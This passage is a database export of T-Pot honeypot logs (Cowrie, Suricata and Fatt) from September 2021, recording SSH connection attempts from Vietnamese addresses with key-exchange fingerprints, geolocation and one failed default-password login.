27746	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:32.129421+03	2021-09-20 14:30:01.867554+03	{"_id": "jQbrAnwBvYTbRNuEEyqQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9cb1debe220f", "@version": "1", "timestamp": "2021-09-20T11:15:32.129421Z", "@timestamp": "2021-09-20T11:15:32.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27747	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:15:22.535342+03	2021-09-20 14:30:01.869523+03	{"_id": "CQbqAnwBvYTbRNuE7ipc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1586156878296465, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50588, "dest_port": 22, "timestamp": "2021-09-20T11:15:22.535342Z", "@timestamp": "2021-09-20T11:15:22.535Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27748	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:22.53552+03	2021-09-20 14:30:01.870553+03	{"_id": "CgbqAnwBvYTbRNuE7yqb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50588, "timestamp": "2021-09-20T11:15:22.535520", "@timestamp": "2021-09-20T11:15:22.535Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27749	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:15:24.284392+03	2021-09-20 14:30:01.871553+03	{"_id": "DQbqAnwBvYTbRNuE8yqF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 56008, "dest_port": 22, "timestamp": "2021-09-20T11:15:24.284392", "@timestamp": "2021-09-20T11:15:24.284Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27750	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:24.007076+03	2021-09-20 14:30:01.873525+03	{"_id": "DwbqAnwBvYTbRNuE9CpK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:56008 (192.168.176.2:22) [session: e191ca5f9727]", "session": "e191ca5f9727", "@version": "1", "protocol": "ssh", "src_port": 56008, "dest_port": 22, "timestamp": "2021-09-20T11:15:24.007076Z", "@timestamp": "2021-09-20T11:15:24.007Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27753	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:24.285211+03	2021-09-20 14:30:01.877524+03	{"_id": "HQbqAnwBvYTbRNuE9CpL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e191ca5f9727", "@version": "1", "timestamp": "2021-09-20T11:15:24.285211Z", "@timestamp": "2021-09-20T11:15:24.285Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27754	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:24.435196+03	2021-09-20 14:30:01.878524+03	{"_id": "HgbqAnwBvYTbRNuE9CpL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [support/123456] failed", "session": "424c2bceab33", "@version": "1", "password": "123456", "username": "support", "timestamp": "2021-09-20T11:15:24.435196Z", "@timestamp": "2021-09-20T11:15:24.435Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27755	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:15:24.284257+03	2021-09-20 14:30:01.880524+03	{"_id": "HwbqAnwBvYTbRNuE9iou", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 855134117242313, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56008, "dest_port": 22, "timestamp": "2021-09-20T11:15:24.284257Z", "@timestamp": "2021-09-20T11:15:24.284Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27756	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:15:25.033111+03	2021-09-20 14:30:01.881525+03	{"_id": "IgbqAnwBvYTbRNuE9ypt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 41628, "dest_port": 22, "timestamp": "2021-09-20T11:15:25.033111", "@timestamp": "2021-09-20T11:15:25.033Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27757	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:25.033382+03	2021-09-20 14:30:01.883523+03	{"_id": "IwbqAnwBvYTbRNuE-Co2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", 